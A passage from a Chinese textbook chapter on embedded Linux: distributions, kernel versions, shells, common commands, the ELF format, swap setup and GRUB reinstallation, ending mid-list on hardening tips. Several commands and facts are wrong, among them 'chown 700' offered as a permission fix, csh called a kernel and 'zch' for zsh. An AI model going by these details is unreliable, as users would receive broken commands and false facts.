·Linux可以运行在各种CPU上，包括Intel系列、AMD系列、SPARC系列、Alpha系列等。Linux不仅可以运行于个人电脑上，而且可以运行在各种大型机、小型机上。Linux系统可与其他的操作系统，如Windows 98/2000/XP等并存于同一台计算机上。

·Linux系统具有良好的用户界面。它向用户提供了两种界面，字符界面和图形界面。在字符界面中，用户可以通过输入命令来使用计算机，可以编写功能强大的Shell脚本，Linux还提供了优美的图形用户界面，通过使用鼠标操作窗口、菜单、滚动条等可以方便地使用系统。

·Linux系统具有安全、高效和稳定的特点，其开发过程中采用了各种措施来保护系统的安全。

·开放和免费。与Windows系统相比，Linux是一种开放的、免费使用的操作系统，其所有的源代码都是开放的，遵循开放系统互联（OSI）国际标准，对于使用者来说可以方便地研究Linux的内核，在此基础上开发自己的系统或应用软件。

主流Linux操作系统发行版版本分为两类，内核版本和发行版本。内核版本是指Linux的创始人Linus领导的开发小组所开发的操作系统内核的版本号，如2.3.15。通常在内核版本号之后还会附加一个数字，如2.3.15-4，最后的数字用来表示该内核版本是第几次修改的。

Linux的内核版本号由3个部分组成，主版本号、次版本号、次次版本号。当内核有重大改动时，主版本号会加1；当内核只有小的改动时，次版本号会加1，次次版本号的增加只表示内核有轻微的改动，影响很小。次版本号为奇数表示该版本为测试版，为偶数表示是个稳定版本，可以放心使用。就Linux的本质来说，它只是操作系统的核心，负责控制硬件、管理文件系统、程序进程等。Linux Kernel（内核）并不负责提供用户强大的应用程序，没有编译器、系统管理工具、网络工具、Office套件、多媒体、绘图软件等，这样的系统也就无法发挥其强大功能，用户也无法利用这个系统工作，因此有人便提出以Linux Kernel为核心再集成搭配各式各样的系统程序或应用工具程序组成一套完整的操作系统，经过如此组合的Linux套件即称为Linux发行版。嵌入式Linux的主要版本如下：

（1）RT-Linux

这是由美国墨西哥理工学院开发的硬实时嵌入式Linux操作系统，采用双内核结构，在底层使用一个硬实时内核，Linux作为内核的空闲任务，当有实时任务时，通过硬实时内核调度任务，没有其他任务时，运行普通Linux。到目前为止，RT-Linux已经成功地应用于航天飞机的空间数据采集、科学仪器测控和电影特技图像处理等广泛领域。RT-Linux开发者并没有针对实时操作系统的特性而重写Linux的内核，因为这样做的工作量非常大，而且要保证兼容性也非常困难。为此，RT-Linux提供了精巧的内核，并把标准的Linux核心作为实时核心的一个进程，同用户的实时进程一起调度。这样对Linux内核的改动非常小，并且充分利用了Linux下现有的丰富的软件资源。

（2）μCLinux（micro-Conrol-Linux）

μCLinux是Lineo公司的主打产品，是一种优秀的嵌入式Linux版本，同时也是开放源码的嵌入式Linux的典范之作。μCLinux主要是针对目标处理器没有存储管理单元MMU（Memory Management Unit）的嵌入式系统而设计的。它已经被成功地移植到了很多平台上。由于没有MMU，其多任务的实现需要一定技巧。与标准Linux相比，μCLinux采用实存储器管理策略，而标准Linux利用CPU硬件的支持实现虚拟内存机制。

μCLinux秉承了标准Linux的优良特性，经过各方面的小型化改造，形成了一个高度优化的、代码紧凑的嵌入式Linux。虽然它的体积很小，却仍然保留了Linux的大多数的优点：稳定、良好的移植性，优秀的网络功能，对各种文件系统完备的支持和标准丰富的API。它专为嵌入式系统做了许多小型化的工作，目前已支持多款CPU。其编译后目标文件可控制在几百KB数量级，并已经被成功地移植到很多平台上。

（3）Embedix

Embedix是由嵌入式Linux行业主要厂商之一Luneo推出的，是根据嵌入式应用系统的特点重新设计的Linux发行版本。Embedix提供了超过25种的Linux系统服务，包括Web服务器等。系统需要最小8MB内存、3MB ROM或快速闪存。Embedix基于Linux 2.2内核，并已经成功地移植到了Intel x86和PowerPC处理器系列上。像其他的Linux版本一样，Embe-dix可以免费获得。Luneo还发布了另一个重要的软件产品，它可以让在Windows CE上运行的程序能够在Embedix上运行。Luneo还将计划推出Embedix的开发调试工具包、基于图形界面的浏览器等。可以说，Embedix是一种完整的嵌入式Linux解决方案。

（4）XLinux

XLinux是由美国网虎公司推出的，主要开发者是陈盈豪。他在加盟网虎几个月后便开发出了基于XLinux的、号称是世界上最小的嵌入式Linux系统，内核只有143KB，而且还在不断减小。XLinux核心采用了“超字元集”专利技术，让Linux核心不仅可能与标准字符集相容，还涵盖了12个国家和地区的字符集。因此，XLinux在推广Linux的国际应用方面有独特的优势。

（5）PoketLinux

PoketLinux是由Agenda公司作为其新产品VR3 PDA的嵌入式Linux操作系统。它可以提供跨操作系统构造统一的、标准化的和开放的信息通信基础结构，在此结构上实现端到端方案的完整平台。PoketLinux资源框架开放，使普通的软件结构可以为所有用户提供一致的服务。PoketLinux平台使用户的视线从设备、平台和网络上移开，由此引发了信息技术新时代的产生。在PoketLinux中，称之为用户化信息交换（CIE），也就是提供和访问为每个用户需求而定制的主题信息的能力，而不管正在使用的设备是什么。

（6）MidoriLinux

由Transmeta公司推出的MidoriLinux操作系统代码开放，在GNU普通公共许可（GPL）下发布，可以从网站上下载。该公司有个名为MidoriLinux的计划。MidoriLinux这个名字来源于日本的“绿色”——Midori，用来反映其Linux操作系统的环保外观。

（7）Caldera OpenLinux

Caldera将OpenLinux这套系统定位为容易使用与设置的发行版，以集成使用环境与最终用户办公环境、容易安装使用与简便管理为系统目标，有望成为最流行的公司团体台式Linux操作系统，适合初学者使用，全部安装需要1GB的硬盘空间。

Caldera有自行研发的图形界面的安装程序向导，安装过程可以玩俄罗斯方块，提供完整的KDE桌面环境，附赠功能强大的商业软件，如StarOffice、图形界面的硬盘分割工具Partition Magic等。

（8）SuSE

SuSE是欧洲最流行的Linux发行版，而且SuSE是软件国际化的先驱，让软件支持各国语系，贡献颇丰。SuSE也是用RPM作为软件安装管理程序，不过SuSE并不适合新手使用，提供了非常多的工具软件，全部安装需4.5GB的硬盘空间，安装过程也较为复杂。

（9）TurboLinux

TurboLinux是日本制作的Linux发行版，其最大特色便是以日文版、中文简/繁体版、英文版3种形式发行，其安装的简易性与系统设置的难度与Red Hat差不多，且安装界面是汉化的，系统本身支持中文简体，在中国国内有广大的用户群。

（10）红旗嵌入式Linux

由北京中科院红旗软件公司推出的嵌入式Linux是国内做得较好的一款嵌入式操作系统，界面做得非常美观，安装也比较容易，新版本逐渐屏蔽了一些底层的操作，适合于新手使用。目前，中科院计算所自行开发的开放源码的嵌入式操作系统Easy Embedded OS（EEOS）也已经开始进入试用阶段了。该款嵌入式操作系统重点支持p-Java。系统目标一方面是小型化，另一方面能重用Linux的驱动和其他模块。由于有中科院计算所的强大科研力量做后盾，EEOS有望发展成为功能完善、稳定、可靠的国产嵌入式操作系统平台。


 2.4.1　Linux的安装、启动与关闭

Linux安装前要对硬盘规划好，即确定好安装在哪个分区。因为Linux支持的Linux N-ative（根分区）和Linux Swap（数据交换区）分区格式，与Windows 9x支持的FAT分区格式、Windows NT支持的NTFS分区格式不兼容。也就是说，如果你还要继续使用Windows 9x或NT的话，Linux就必须安装在单独的分区下。

准备工作做完以后，重启系统，选择BIOS从光盘启动，然后把Linux的安装光盘放在光驱里，按照提示一步一步进行安装即可。

启动Linux很简单，只要在lilo中选择Linux就可以了，在启动过程中，将会向控制台写许多信息，直到出现用户登录提示"login:"，输入用户名和密码就可以登录系统。关机时一定要注意，不能直接关闭计算机电源，那样会破坏Linux的文件系统。可以执行"shut-down-h now"命令来实现关机。


2.4.2　Linux的基本使用

1.Linux终端

Linux把显示器和键盘合称为终端。通过终端可以对系统进行控制并且可以用软件的方式来实现，所以又称作虚拟控制台。虚拟控制台使Linux成为一个真正的多用户、多任务操作系统，在终端上，可以通过输入Shell命令来控制和使用计算机。

2.Linux Shell

Shell是一个作为用户与Linux系统间接口的程序，它允许用户向操作系统输入需要执行的命令来启动、暂停程序的运行或对计算机进行控制。在Linux里面，不能够直接用电源按钮关机，也不能直接用reset按钮重新启动，Shell通过接受用户输入的命令来启动、暂停、停止程序的运行或对计算机进行控制，例如，在终端输入halt命令就可以关闭计算机，重启动命令是reboot。Shell还允许用户编写由Shell命令组成的功能强大的程序。在系统管理等领域，Shell具有不可忽视的重要作用。

一般在Linux里，常提到的Shell是比较狭隘的定义，就是指bash这个文字模式的Shell。广义的Shell也可以是KDE之类的图形界面控制软件。在Linux上任何通过图形方式实现的操作都可以由相应的命令来完成。

目前流行的Shell有ash、bash、ksh、csh、zsh等，每种Shell都有其各自的特色。

（1）ash

ash是由Kenneth Almquist编写的，是Linux中占用系统资源最少的一个小Shell，它只包含24个内部命令，因而使用起来很不方便。

（2）bash

bash是Linux系统默认使用的Shell，它由Brian Fox和Chet Ramey共同完成的，是Bourne Again Shell的缩写，内部命令一共有40个。（一般系统中自带的就是bash，当然也可以装多个Shell）

（3）ksh

ksh是Korn Shell的缩写，由Eric Gisin编写，共有42条内部命令。该Shell最大的优点是几乎和商业发行版的ksh完全相容，这样就可以在不用花钱购买商业版本的情况下体验商业版本的性能了。

（4）csh

csh是Linux比较大的内核，它由以William Joy为代表的共计47位作者编成，共有52个内部命令。该Shell其实是指向/bin/tcsh的一个Shell，也就是说，csh其实就是tcsh。

（5）zch

zch是Linux最大的Shell之一，由Paul Falstad完成，共有84个内部命令。如果只是一般的用途，是没有必要安装这样的Shell的。

可以使用如图2-3所示命令来查看bash的版本号。
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图　2-3　查看bash的版本号的结果

Shell有两种提示符：#和$。以#为提示符表明该终端是由root用户打开的，root用户可以输入任何可用的命令，具有系统最高权限。一般用户打开终端的提示符是$，比如halt命令只能由root使用，普通用户在$提示符下输入halt命令，系统认为是一个无效命令。

Shell命令的基本格式为：



命令名[选项]＜参数1＞＜参数2＞……



“选项”是对命令的特别定义，也可以理解为选项告诉命令具体做什么，以减号（-）开始，多个选项可以用减号（-）连起来，如ls-l-a与ls-la相同。“参数”提供命令运行的信息，或者是命令执行过程中所使用的文件名。使用分号（;）可以将两个命令隔开，这样可以实现一行中输入多个命令。命令的执行顺序和输入的顺序相同。输入命令、目录名或文件名的开头一个或几个字母后按下Tab键，Shell会在相应目录里进行匹配，自动补齐命令、目录名或文件名。

在Shell下输入相应的命令并按下回车键，Shell就执行命令。如果没有此命令，Shell就会提示"command not found"，表示该命令不存在。Shell命令是区分大小写的，一条命令只要有一个字母的大小写发生变化，系统就认为这是一条不同的命令。

3.Linux的文件和目录结构

在Linux中，文件是一个非常重要的概念，除了硬盘上存储的文件以外，Linux还把显示器、键盘、打印机等输入输出设备以及网络接口都当作文件来处理。文件名是文件的标识，是一个可以包含字母、数字、下划线和句点的字符串。Linux要求文件名的长度一般不能超过255个字符。句点后的部分被称为扩展名，扩展名可以用来对文件进行分类。

使用Linux时，如果使用"ls-la/"就会发现，在“/”下包含很多的目录，比如etc、usr、var、bin等目录，而在这些目录中，也有很多的目录或文件。文件系统在Linux下看上去就像树形结构，所以可以把文件系统的结构形象地称为树形结构。


2.4.3　Linux的常用命令

Linux的常用命令涉及文件管理、磁盘管理、文档编辑、文件传输、磁盘维护、网络通信、系统管理、系统设置、备份压缩和设备管理等方面。

1.进入与退出Linux系统

进入Linux系统必须要输入用户的账号，在系统安装过程中可以创建以下两种账号。

·root：超级用户账号（系统管理员），使用这个账号可以在系统中做任何事情。

·普通用户：这个账号供普通用户使用，可以进行有限的操作。

一般的Linux使用者均为普通用户，而系统管理员一般使用超级用户账号完成一些系统管理的工作。如果只需要完成一些由普通账号就能完成的任务，建议不要使用超级用户账号，以免无意中破坏系统，影响系统的正常运行。

用户登录分两步：第一步，输入用户的登录名，系统根据该登录名识别用户；第二步，输入用户的口令，该口令是用户自己设置的一个字符串，对其他用户是保密的，是在登录时系统用来辨别真假用户的关键字。

当用户正确地输入用户名和口令后，就能合法地进入系统。屏幕显示：



[root@localhost/root]#



这时就可以对系统做各种操作了。注意，超级用户的提示符是#，其他用户的提示符是$。

为了更好地保护用户账号的安全，Linux允许用户随时修改自己的口令，修改口令的命令是passwd，它将提示用户输入旧口令和新口令，之后还要求用户再次确认新口令，以避免用户无意中按错键。如果用户忘记了口令，可以向系统管理员申请为自己重新设置一个。

Linux是一个真正的多用户操作系统，它可以同时接受多个用户登录。Linux还允许一个用户进行多次登录，这是因为Linux和UNIX一样，提供了虚拟控制台的访问方式，允许用户在同一时间从控制台进行多次登录。虚拟控制台的选择可以通过按下Alt键和一个功能键来实现，通常使用F1～F6键。例如，用户登录后，按一下Alt+F2键，用户又可以看到"login："提示符，说明用户看到了第二个虚拟控制台。然后只需按Alt+F1键，就可以回到第一个虚拟控制台。一个新安装的Linux系统默认允许用户使用Alt+F1键到Alt+F6键来访问前6个虚拟控制台。虚拟控制台可使用户同时在多个控制台上工作，真正体现Linux系统多用户的特性。用户可以在某一虚拟控制台上进行的工作尚未结束时，切换到另一虚拟控制台开始另一项工作。

不论是超级用户，还是普通用户，需要退出系统时，在shell提示符下，键入exit命令即可。

2.Linux文本处理命令

（1）sort命令

sort命令的功能是对文件中的各行进行排序。sort命令有许多非常实用的选项，这些选项最初是用来对数据库格式的文件内容进行各种排序操作的。实际上，sort命令可以被认为是一个非常强大的数据管理工具，用来管理内容类似数据库记录的文件。

sort命令将逐行对文件中的内容进行排序，如果两行的首字符相同，该命令将继续比较这两行的下一字符，如果还相同，将继续进行比较。

格式：



sort[选项]文件



说明：sort命令对指定文件中所有的行进行排序，并将结果显示在标准输出上。如不指定输入文件或使用“-”，则表示排序内容来自标准输入。

sort排序是根据从输入行抽取的一个或多个关键字进行比较来完成的。排序关键字定义了用来排序的最小的字符序列。缺省情况下以整行为关键字按ASCⅡ字符顺序进行排序。改变缺省设置的选项主要有：

·-m 若给定文件已排好序，合并文件。

·-c 检查给定文件是否已排好序，如果它们没有都排好序，则打印一个出错信息，并以状态值1退出。

·-u 对排序后认为相同的行只留其中一行。

·-o 输出文件，将排序输出写到输出文件中而不是标准输出中，如果输出文件是输入文件之一，sort先将该文件的内容写入一个临时文件，然后再排序和写输出结果。

改变缺省排序规则的选项主要有：

·-d 按字典顺序排序，比较时仅字母、数字、空格和制表符有意义。

·-f 将小写字母与大写字母同等对待。

·-I 忽略非打印字符。

·-M 作为月份比较："JAN"＜"FEB"。

·-r 按逆序输出排序结果。

·+pos1 -pos2 指定一个或几个字段作为排序关键字，字段位置从posl开始，到pos2为止（包括posl，不包括pos2）。如不指定pos2，则关键字为从posl到行尾。字段和字符的位置从0开始。

·-b 在每行中寻找排序关键字时忽略前导的空白（空格和制表符）。

·-t separator 指定字符separator作为字段分隔符。

（2）uniq命令

文件经过处理后在它的输出文件中可能会出现重复的行。例如，使用cat命令将两个文件合并后，再使用sort命令进行排序，就可能出现重复行。这时可以使用uniq命令将这些重复行从输出文件中删除，只留下每条记录的唯一样本。

格式：



uniq[选项]文件



说明：这个命令读取输入文件，并比较相邻的行。在正常情况下，第二个及以后更多个重复行将被删去，行比较是根据所用字符集的排序序列进行的。该命令加工后的结果写到输出文件中。输入文件和输出文件必须不同。如果输入文件用“-”表示，则从标准输入读取。

该命令的各选项含义如下：

·-c 显示输出中，在每行行首加上本行在文件中出现的次数。它可取代-u和-d选项。

·-d 只显示重复行。

·-u 只显示文件中不重复的各行。

·-n 前n个字段与每个字段前的空白一起被忽略。一个字段是一个非空格、非制表符的字符串，彼此由制表符和空格隔开（字段从0开始编号）。

·+n 前n个字符被忽略，之前的字符被跳过（字符从0开始编号）。

·-f n与-n相同，这里n是字段数。

·-s n与+n相同，这里n是字符数。

3.Linux备份与压缩命令

（1）tar命令

tar可以为文件和目录创建档案。利用tar命令，用户可以为某一特定文件创建档案（备份文件），也可以在档案中改变文件，或者向档案中加入新的文件。tar最初被用来在磁带上创建档案，现在，用户可以在任何设备上创建档案，如在软盘上。利用tar命令，可以把一大堆的文件和目录全部打包成一个文件，这对于备份文件或将几个文件组合成为一个文件以便于网络传输是非常有用的。Linux上的tar是GNU版本的。

tar命令格式：



tar[主选项+辅选项]文件或者目录



使用该命令时，主选项是必须要有的，它告诉tar要做什么事情，辅选项是辅助使用的，可以选用。

主选项：

·c 创建新的档案文件。如果用户想备份一个目录或是一些文件，就要选择这个选项。

·r 把要存档的文件追加到档案文件的末尾。例如用户已经作好备份文件，又发现还有一个目录或是一些文件忘记备份了，这时可以使用该选项，将忘记的目录或文件追加到备份文件中。

·t 列出档案文件的内容，查看已经备份了哪些文件。

·u 更新文件。就是说，用新增的文件取代原备份文件，如果在备份文件中找不到要更新的文件，则把它追加到备份文件的最后。

·x 从档案文件中释放文件。

辅助选项：

·b 该选项是为磁带机设定的。其后跟一数字，用来说明区块的大小，系统预设值为20（20*512 bytes）。

·f 使用档案文件或设备，这个选项通常是必选的。

·k 保存已经存在的文件。例如把某个文件还原，在还原的过程中，遇到相同的文件，不会进行覆盖。

·m 在还原文件时，把所有文件的修改时间设定为现在。

·M 创建多卷的档案文件，以便在几个磁盘中存放。

·v 详细报告tar处理的文件信息。如无此选项，tar不报告文件信息。

·w 每一步都要求确认。

·z 用gzip来压缩/解压缩文件，加上该选项后可以将档案文件进行压缩，但还原时也一定要使用该选项进行解压缩。

（2）gzip命令

减小文件大小有两个明显的好处，一是可以减少存储空间；二是通过网络传输文件时，可以减少传输的时间。gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩的命令，既方便又好用。

格式：



gzip[选项]压缩(解压缩)的文件名



各选项的含义：

·-c 将输出写到标准输出上，并保留原有文件。

·-d 将压缩文件解压。

·-l 对每个压缩文件显示下列字段：压缩文件的大小、未压缩文件的大小、压缩比、未压缩文件的名字。

·-r 递归式地查找指定目录并压缩其中的所有文件或者是解压缩。

·-t 测试，检查压缩文件是否完整。

·-v 对每一个压缩和解压的文件，显示文件名和压缩比。

·-num 用指定的数字num调整压缩的速度，-1或--fast表示最快压缩方法（低压缩比），-9或--best表示最慢压缩方法（高压缩比）。系统默认值为6。

（3）unzip命令

可以用unzip命令将MS Windows下的压缩软件winzip压缩的文件展开，该命令用于解扩展名为.zip的压缩文件。

格式：



unzip[选项]压缩文件名.zip



各选项的含义分别为：

·-x 文件列表解压缩文件，但不包括指定的file文件。

·-v 查看压缩文件目录，但不解压。

·-t 测试文件有无损坏，但不解压。

·-d 目录把压缩文件解到指定目录下。

·-z 只显示压缩文件的注解。

·-n 不覆盖已经存在的文件。

·-o 覆盖已存在的文件且不要求用户确认。

·-j 不重建文档的目录结构，把所有文件解压到同一目录下。

4.在Linux环境下运行DOS命令

Linux系统提供了一组称为mtools的可移植工具，可以让用户轻松地从标准的DOS软盘上读、写文件和目录。它们对DOS和Linux环境之间交换文件非常有用。它们是不具备共同的文件系统格式的系统之间交换文件的有力手段。对于一个MSDOS的软盘，只要把软盘放在软驱中，就可以利用mtools提供的命令来访问软盘上的文件。

mtools的主要命令如下：

·mcd 目录名：改变MSDOS目录。

·mcopy 源文件目标文件：在MSDOS和UNIX之间复制文件。

·mdel 文件名：删除MSDOS文件。

·mdir 目录名：显示MSDOS目录。

·mformat 驱动器号：在低级格式化的软盘上创建MSDOS文件系统。

·rnlabel 驱动器号：产生MSDOS卷标。

·mmd 目录名：建立MSDOS目录。

·mrd 目录名：删除MSDOS目录。

·mren 源文件目标文件：重新命名已存在的MSDOS文件。

·mtype 文件名：显示MSDOS文件的内容。

这些命令和对应的MSDOS命令非常相似。

5.Linux系统管理命令

（1）wall命令

这个命令的功能是对全部已登录的用户发送信息，用户可以先把要发送的信息写好存入一个文件中，然后输入：



#wall＜文件名



这样就能对所有的用户发送信息了。在上面的例子中，符号“＜”表示输入重定向。

（2）write命令

write命令的功能是向系统中某一个用户发送信息。该命令的一般格式为：



write用户账号[终端名称]

例如:$write Guest hello



此时系统进入发送信息状态，用户可以输入要发送的信息，输入完毕，希望退出发送状态时，按组合键Ctrl+C即可。

（3）mesg命令

mesg命令设定是否允许其他用户用write命令给自己发送信息。如果允许别人给自己发送信息，输入命令：



#mesg y



否则，输入：



#mesg n



对于超级用户，系统的默认值为n；而对于一般用户，系统的默认值为y。如果mesg后不带任何参数，则显示当前的状态是y还是n。

（4）sync命令

sync命令是在关闭Linux系统时使用的。用户需要注意的是，不能用简单的关闭电源的方法关闭系统，因为Linux像其他UNIX系统一样，在内存中缓存了许多数据，在关闭系统时需要进行内存数据与硬盘数据的同步校验，保证硬盘数据在关闭系统时是最新的，只有这样才能确保数据不会丢失。一般正常的关闭系统的过程是自动进行这些工作的，在系统运行过程中也会定时做这些工作，不需要用户干预。sync命令强制把内存中的数据写回硬盘，以免数据的丢失。用户可以在需要的时候使用此命令。该命令的一般格式为：



sync



（5）shutdown命令

使用shutdown命令可以安全地关闭或重启Linux系统，它在系统关闭之前给系统上的所有登录用户提示一条警告信息。该命令还允许用户指定一个时间参数，可以是一个精确的时间，也可以是从现在开始的一个时间段。精确时间的格式是hh：mm，表示小时和分钟；时间段由“+”和分钟数表示。系统执行该命令后，会自动进行数据同步的工作。

该命令的一般格式为：



shutdown[选项][时间][警告信息]



命令中各选项的含义为：

·-k 并不真正关机，而只是发出警告信息给所有用户。

·-r 关机后立即重新启动。

·-h 关机后不重新启动。

·-f 快速关机，重启动时跳过fsck。

·-n 快速关机，不经过init程序。

·-c 取消一个已经运行的shutdown。

需要特别说明的是，该命令只能由超级用户使用。

（6）free命令

free命令的功能是查看当前系统内存的使用情况，它显示系统中剩余及已用的物理内存和交换内存空间信息，以及共享内存和被核心使用的缓冲区空间信息。

该命令的一般格式为：



free[-b|-k|-m]



命令中各选项的含义如下：

·-b 以字节为单位显示。

·-k 以K字节为单位显示。

·-m 以M字节为单位显示。

（7）uptime命令

uptime命令显示系统已经运行了多长时间，它依次显示下列信息：现在时间、系统已经运行了多长时间、目前有多少登录用户、系统在过去的1min、5min和15min内的平均负载。

该命令的一般格式为：



uptime



6.Linux磁盘管理命令

（1）df命令

df命令的功能是检查文件系统的磁盘空间占用情况。可以利用该命令来获取硬盘被占用了多少空间，目前还剩下多少空间等信息。

格式：



df[选项]



说明：df命令可显示所有文件系统对节点和磁盘块的使用情况。

该命令各个选项的含义如下：

·-a 显示所有文件系统的磁盘使用情况，包括0块（block）的文件系统，如/proc文件系统。

·-k 以K字节为单位显示。

·-i 显示i节点信息，而不是磁盘块。

·-t 显示各指定类型的文件系统的磁盘空间使用情况。

·-x 列出不是某一指定类型文件系统的磁盘空间使用情况（与t选项相反）。

·-T 显示文件系统类型。

（2）du命令

du的英文原义为"disk usage"，含义为显示磁盘空间的使用情况。

du命令的功能是统计目录（或文件）所占磁盘空间的大小。

格式：



du[选项][Names…]



说明：该命令逐级进入指定目录的每一个子目录并显示该目录占用文件系统数据块（1024字节）的情况。若没有给出Names，则对当前目录进行统计。

该命令的各个选项含义如下：

·-s 对每个Names参数只给出占用的数据块总数。

·-a 递归地显示指定目录中各文件及子目录中各文件占用的数据块数。若既不指定-s，也不指定-a，则只显示Names中的每一个目录及其中的各子目录所占的磁盘块数。

·-b 以字节为单位列出磁盘空间使用情况（系统默认以K字节为单位）。

·-k 以1024字节为单位列出磁盘空间使用情况。

·-c 最后再加上一个总计（系统默认设置）。

·-l 计算所有的文件大小，对硬链接文件，则计算多次。

·-x 跳过在不同文件系统上的目录，不予统计。

（3）dd命令

dd命令的功能是把指定的输入文件复制到指定的输出文件中，并且在复制过程中可以进行格式转换。可以用该命令实现DOS下的diskcopy命令的作用。先用dd命令把软盘上的数据写成硬盘的一个寄存文件，再把这个寄存文件写入第二张软盘上，完成diskcopy的功能。需要注意的是，应该将硬盘上的寄存文件用rm命令删除掉。系统默认使用标准输入文件和标准输出文件。

格式：



dd[选项]



选项：

·if=file　输入文件名（或设备名称），缺省为标准输入。

·of=file　输出文件名（或设备名称），缺省为标准输出。

·ibs=bytes　一次读取bytes字节，即读入缓冲区的字节数。

·skip=blocks　跳过读入缓冲区开头的ibs*blocks块。

·obs=bytes　一次写入bytes字节，即写入缓冲区的字节数。

·bs=bytes　同时设置读/写缓冲区的字节数（等于设置ibs和obs）。

·cbs=bytes　一次转换bytes字节。

·count=blocks　只复制输入的blocks块。

·conv=ASCⅡ　把EBCDIC码转换为ASCⅡ码。

·conv=ebcdic　把ASCⅡ码转换为EBCDIC码。

·conv=ibm　把ASCⅡ码转换为alternate EBCDIC码。

·conv=block　把变动位转换成固定字符。

·conv=ublock　把固定位转换成变动位。

·conv=ucase　把字母由小写转换为大写。

·conv=lcase　把字母由大写转换为小写。

·conv=notrunc　不截短输出文件。

·conv=swab　交换每一对输入字节。

·conv=noerror　出错时不停止处理。

·conv=sync　把每个输入记录的大小都调到ibs的大小（用NUL填充）。

（4）fdformat命令

软盘是用户常用的存储介质之一。软盘在使用之前必须先做格式化操作，然后可以用tar、dd、cpio等命令存储数据，也可以在软盘上建立可安装的文件系统。fdformat命令的功能是低级格式化软盘。

格式：



format[-n]device



说明：该命令的作用是对软盘进行格式化。

·-n 软盘格式化后不作检验。

device指定要进行格式化的设备，通常是下述设备之一：

·/dev/fd0d360

·/dev/fd0h1200

·/dev/fd0D360

·/dev/fd0H360

·/dev/fd0D720

·/dev/fd0H720

·/dev/fd0h360

·/dev/fd0h720

·/dev/fd0H1440

关于Linux文件和目录的操作命令见第15章“Linux文件操作”。


2.5　嵌入式Linux中程序的运行原理

Linux下的开发环境主要有两类：字符界面的开发环境和图形化的集成开发环境。在字符界面的开发环境下，一般使用Vi、Vim或者Emacs文本编辑器来编写源程序，然后使用GCC编译器来编译程序，当程序出现错误时，使用GDB调试器来调试程序。如果开发的是大型程序，可以使用Makefile文件来自动编译程序，并使用CVS对项目进行管理。

在Linux的开发环境中，C语言程序的运行环境如图2-4所示。
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图　2-4　Linux下C语言程序的结构

作为UNIX操作系统的一种，Linux的操作系统提供了一系列的接口，这些接口被称为系统调用（System Call）。在UNIX的理念中，系统调用提供的是机制，而不是策略。C语言的库函数通过调用系统调用来实现，库函数对上层提供了C语言库文件的接口。在应用程序层，通过调用C语言库函数和系统调用来实现功能。一般来说，应用程序大多使用C语言库函数实现其功能，较少使用系统调用。

在Linux等系统的环境中，C语言库及其头文件都是系统的一部分，只要安装了编译工具即可以完成C语言程序的开发。这点与Windows中程序的开发有所不同，Windows中一般需要安装开发包才能进行程序开发。

C语言程序经过编译—汇编—链接，最终生成可执行程序格式。可执行程序中包含两个部分的内容。



程序头

程序主体(二进制机器代码)



在程序头中包含了供操作系统加载的信息，操作系统根据这些信息加载可执行程序。而可执行程序的主体依然是二进制的机器代码。程序在运行的时候，正是靠逐条地执行这些机器代码，形成程序运行的序列。

在Linux操作系统中，普遍使用ELF（Executable and Linking Format，可执行链接格式）格式来作为可执行程序或者程序生成过程中的中间格式。ELF是UNIX系统实验室（USL）作为应用程序二进制接口（Application Binary Interface,ABI）而开发和发布的。工具接口标准委员会（TIS）选择了正在发展中的ELF标准作为工作在32位Intel体系上不同操作系统之间可移植的二进制文件格式。

如果开发者定义了一个二进制接口集合，ELF标准允许用它来支持流线型的软件运行。通过它可以减少不同执行接口的数量，也可以减少重新编程和重新编译的代码。

ELF文件格式包括3种主要的类型：可执行文件、可重定向文件、共享库。

（1）可执行文件（应用程序）

可执行文件包含了代码和数据，是可以直接运行的程序。

（2）可重定向文件（*.o）

可重定向文件又称为目标文件，它包含了代码和数据（这些数据是和其他重定位文件和共享的object文件一起链接时使用的）。

（3）共享文件（*.so）

也称为动态库文件，它包含了代码和数据（这些数据是在链接时被链接器ld和运行时动态链接器使用的）。动态链接器可能称为ld.so.1、libc.so.1或者ld-linux.so.1。

object文件参与程序的链接（创建一个程序）和程序的执行（运行一个程序）。object文件格式提供了一个方便有效的方法来用并行的视角看待文件的内容，这些object文件的活动可以反映出不同的需要。一个ELF头存在于文件的开始处，在这里保存了路线图（road map），描述了该文件的组织情况。节（section）保存着object文件的信息，从链接角度看，它包括指令、数据、符号表和重定位信息等。

ELF文件格式如图2-5所示。
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图　2-5　ELF可执行程序结构

一个ELF文件从链接器（Linker）的角度看，是一些节的集合；从程序加载器（Loader）的角度看，它是一些段（Segments）的集合。ELF格式的程序和共享库具有相同的结构，只是段的集合和节的集合上有些不同。

ELF格式的共享库可以加载到任何地址。事实上，共享库使用PIC（Position Independent Code，位置无关代码），使得文件的代码段（Text Page）不需要重定位，并且可以被多个进程共享。ELF格式的链接器通过GOT（Global Offset Table）来支持PIC代码。


2.6　实践拓展

1.创建交换分区

parted命令或fdisk命令可以用来创建交换分区，但parted比fdisk使用起来更方便。

在shell提示下以根用户身份键入命令：parted/dev/hdb，/dev/hdb是带有空闲空间的硬盘驱动器的设备名称。

在parted提示下，键入print来查看现存的分区和空闲空间的数量。起止值以MB为单位。判定硬盘驱动器上的空闲空间数量，以及想给新建的交换分区分配的空间数量。

在parted提示下，键入mkpartfs part-type linux-swap start end，这里的start是分区的起始点，end是分区的终止点。

键入quit来退出parted。

现在，就可以创建交换分区了，使用mkswap命令来设置交换分区。在shell提示下以根用户身份键入以下命令：



mkswap/dev/hdb2



要立即启用交换分区，键入以下命令：



swapon/dev/hdb2



要在引导时启用，编辑/etc/fstab文件来包括以下命令：



/dev/hdb2 swap swap defaults 0 0



在系统下次引导时，它就会启用新建的交换分区。

新添了交换分区并启用它之后，查看cat/proc/swaps或free命令的输出来确保交换分区已被启用了。

2.在Linux操作系统下重新安装Linux的方法

1）下载并安装grub：



./configure

make

make install



2）配置grub：把/usr/local/share/grub/i386-pc/目录下的所有文件统统复制到/boot/grub/目录下；接下来是创建grub.conf，并在/boot/grub/目录下建立一个menu.lst，指向grub.conf；执行grub-install/dev/hda1把stage1写入到/boot分区的引导扇区。也可以执行grub进入grub shell，然后通过root和setup命令来安装stage1。

3）重启并运行grub指令，达到引导安装程序的作用，引导安装程序的指令为：



root(hd0,0)kernel/linuxdir/vmlinuz initrd/linuxdir/initrd.img boot



其中的硬盘、路径等信息随情况不同有所变化。

3.Linux操作系统下防黑客的方法

1）对/etc/inittab文件进行保护，如果把id：3：initdefault中的3改为1，就可以每次启动直接进入到单用户方式。对/etc/inittab文件，以root身份进入通过chown 700/etc/inittab把属性设为其他用户不能修改就行了。

